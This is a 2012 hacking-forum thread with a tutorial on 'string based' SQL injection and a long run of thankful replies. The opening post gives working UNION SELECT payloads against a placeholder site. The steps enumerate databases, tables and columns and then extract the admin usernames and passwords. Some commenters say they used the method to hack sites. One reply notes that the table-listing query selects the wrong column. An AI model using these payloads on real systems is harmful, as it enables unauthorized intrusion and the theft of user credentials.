

Forum:[Hack Forums](#)

Thread: [\[MegaProjectSQLi\]#Ch-5:String Based Injection \(Solve your common "order by" issues\)#](#)

Zhen. - February 17, 2012, 1:55 pm

Tutorial by Zer0Freak

Difficulty: Easy

Requirements: 10 minutes of reading time, patience and intuition

Previous Chapters:

Chapter1: <https://hackforums.net/showthread.php?tid=2059771>

Chapter2: <https://hackforums.net/showthread.php?tid=2060211>

Chapter3: <https://hackforums.net/showthread.php?tid=2061628>

Chapter4: <https://hackforums.net/showthread.php?tid=2085773>

Alright, since my previous tutorials haven't had enough responses as I expected due to people who aren't fond of reading big tutorials, I've decided I won't make this tutorial big. As a matter of fact, I'll just make you understand the concepts behind String Based SQL injection. I KNOW there are a lot of tutorials that would be the same as this one, but I guarantee that if you read this, you won't have any doubts on String Based.

What is String Based SQL injection and how to notice them?

To make this simple to understand, String Based SQL injection happens when the site is vulnerable to SQL injection but doesn't show us the results needed to be displayed after executing our SQLi query.

Common known issues that proves the site being vulnerable to String Based are:

Code "order by" doesn't work, example: order by 100--

"group by" doesn't work

"having 1=2" doesn't work

queries related to SQL injection doesn't work (will show a normal page even though site is vuln to SQLi)

Solution to this issue in order to hack a site with String Based SQL injection

The answer to this problem is by using the following format while trying to hack a site with SQLi
Code `http://site.com/index.php?id=10' order by 1000--+` That will show us the error, hence displaying the results according to our query.

The point here is that we used the quote ' and the + sign in our query

Code `id=X' order by--+`

Alright that you've got the point lets try String Based on some of the other types of SQL injection shall we

String-Union Based SQL injection

1. Obtaining the number of columns (in this example, we'll use 10 columns)

Code `http://www.site.com/index.php?id=234' order by 11--+` Results show error, so we'll assume as 10 columns, since it'll be an example for our process

2. Obtaining the Databases

Code `http://www.site.com/index.php?id=-234' UNION SELECT`

`1,2,3,4,5,group_concat(schema_name,0x0a),7,8,9,10 from information_schema.schemata--+`

Results will display the databases on their website

Note: If you don't know anything about UNION Based SQL injection, I suggest you read one of my tutorials to progress further in this step

3. Obtaining the Tables from the current Database

Code `http://www.site.com/index.php?id=-234' UNION SELECT`

`1,2,3,4,5,group_concat(table_schema,0x0a),7,8,9,10 from information_schema.tables where table_schema=database()--+`Results will display the current table names

For this example, we'll be using the table name: "admin"

4. Obtaining Column names from a specific table (which in this example is "admin")

Code `http://www.site.com/index.php?id=-234' UNION SELECT`

`1,2,3,4,5,group_concat(column_name,0x0a),7,8,9,10 from information_schema.columns where table_name=0x61646d696e--+`

Results will display the column names from the current table

To convert plain text to hex, use: <http://www.swingnote.com/tools/texttohex.php>

For this example, we'll use "username" and "password" as our column names

5. Obtaining Data from Column names

Code `http://www.site.com/index.php?id=-234' UNION SELECT`

`1,2,3,4,5,group_concat(username,0x3a,password,0x0a),7,8,9,10 from admin--+`

Results will display the data given by the columns you have chosen

This can be also done with Error Based SQL injection, Blind Based and other types of SQL injection
Please refer to my previous tutorials to know more about Error Based and Union Based

This will be considered as a mini tutorial for String Based SQL injection. I just hope people are gonna understand this as much as they're on their journey through SQL injection

Hope you guys enjoy this. It's pretty much the concept that is needed when you SQLi

End of Chapter 5

Upcoming Chapter: Blind Based SQL Injection Detailed

Contact me via PM

or

Email: zerofreak@live.com

Have a great day

CyberSyringe - February 17, 2012, 2:13 pm

Nicely done. Love the layout, it's a very user friendly tutorial, and not a pain to the eyes such as many other tutorials.

BeggFoMercy - February 17, 2012, 4:16 pm

Easy bizzzy and simplizzy thanks for the hard work :)

Suved - February 18, 2012, 12:29 am

thanks for share dude great tutorial..

hope u will also make a tut on blind sqli & WAF bypassing

grEEkcr4ck3r - February 18, 2012, 2:02 am

You are always making the best tutorials...

Zhen. - February 18, 2012, 2:46 am

Thanks a lot guys

Really appreciate it

and yes, I'll make a detailed Blind SQL injection tutorial this week anytime soon

So stay tuned ?

Ironpunch - February 18, 2012, 3:13 am

I love the way you present out the tutorials, this chapter was what i was looking forward, great done doing the job that is supposed by a hacker to do :D

Zhen. - February 19, 2012, 2:57 pm

Thanks for the feedbacks

Just hope, more people will find this useful

!!!! - March 8, 2012, 7:50 am

Im learning my web hacking skills from his tutorials and he is the best at teaching the skills than many in this forum! I had many doubts about the SQLi method and his thread solved everything and Im proud that I learned it easily from his tutorials and hacked a few sites with the skills! :D

And once again an awesome tutorial! Thnx alot bro! :D

SIM-487530 - March 8, 2012, 7:56 pm

thanks for the tutor, helped me a lot

Zhen. - March 10, 2012, 5:14 pm

Thanks for the positive responses guys

Really appreciate your feed backs

raks - March 20, 2012, 6:38 am

I really want to say thanks to Zer0Freak for making MegaProjectSQLi.

This really helped us to make good knowledge.I expect more and more tutorials

Zhen. - March 25, 2012, 4:23 am

Thanks a lot for the feed back.

Really appreciate all your positive responses.

k1ngj0sh143 - June 27, 2012, 7:32 pm

Short sweet and to the point. You shouldn't care about the lengths of the tuts. The average person that wants it done instantly or instant knowledge might not read it all. But for those who honestly want the knowledge will read and learn. Another great job bro

NIIGHT HAWKE - June 27, 2012, 9:00 pm

great tutorial sir <3 thankx a lot :)

i've learned , double query/error based , string based injections from your blog sir :) thankx a lot <3

ajkaro - June 28, 2012, 2:19 am

Thank you for great tutorial :)

Very informative!

BlackRoas - June 28, 2012, 8:43 am

thanks for share dude great tutorial..

toniohawk2 - July 3, 2012, 3:11 am

One more time thank you, I understood the Sqli concept but you explain very well !

Have a good day.

Lori - July 16, 2012, 9:55 am

Thanksfor the grat Tut's! I have a little problem... whats to do when "" order by 11--+" dont works?
Im trying a hackit now and there is no way for me...

xx 0x0 xx - July 16, 2012, 2:38 pm

very nice tut brother i like it :) thx alot

Fosswire - July 17, 2012, 6:31 am

Great tutorial as always!

Feeling like to meet you :)

pimaS - July 17, 2012, 7:18 am

Very great this tutorial, I have learned some more information for my SQLi attacks

Arbitrage - January 26, 2013, 8:55 am

Thanks for this tutorial on String based, it's short and straight to the point!

-Claudius- - February 7, 2013, 8:33 am

Excellent tutorial series! Looking forward to the next part.

Neocotez - May 2, 2013, 12:23 am

Yea, I got a question. What the difference between "0x3a and 0x0a"?

MasterBlack - August 13, 2013, 4:47 am

Thank you for this tutorial, has really helped me come along with me SQLi technique.

Keep it up :)

#R00T~ - September 24, 2013, 12:18 pm

going through all your threads bookmarking all the website hacking tutorials :D

rushgorent - December 2, 2013, 3:55 am

thanks for the tutor, helped me a lot

b34x7 - May 3, 2014, 12:29 am

table_name,0x0a is the right function for finding tables isnt it ? i guess might be a mistake ?

balaghacking - May 19, 2014, 8:39 pm

thanks for the tutor, helped me a lot

Astr0J3su5 - *August 9, 2014, 9:32 pm*

Thanks for the series. It really helped a lot!

TheLegendaryHatman - *May 18, 2015, 12:03 am*

Awesome layout, good detail and explanations. 10/10 tutorial.

qusai.alhaddad - *May 18, 2015, 12:37 am*

thanks for sharing, nice tutorial..

Nickersoup - *May 19, 2015, 1:21 pm*

Thanks for making this great tutorial!

Will begin with SQLi tomorrow.

hikashin - *May 20, 2015, 11:04 am*

Thank you sir for sharing tutorial like this :)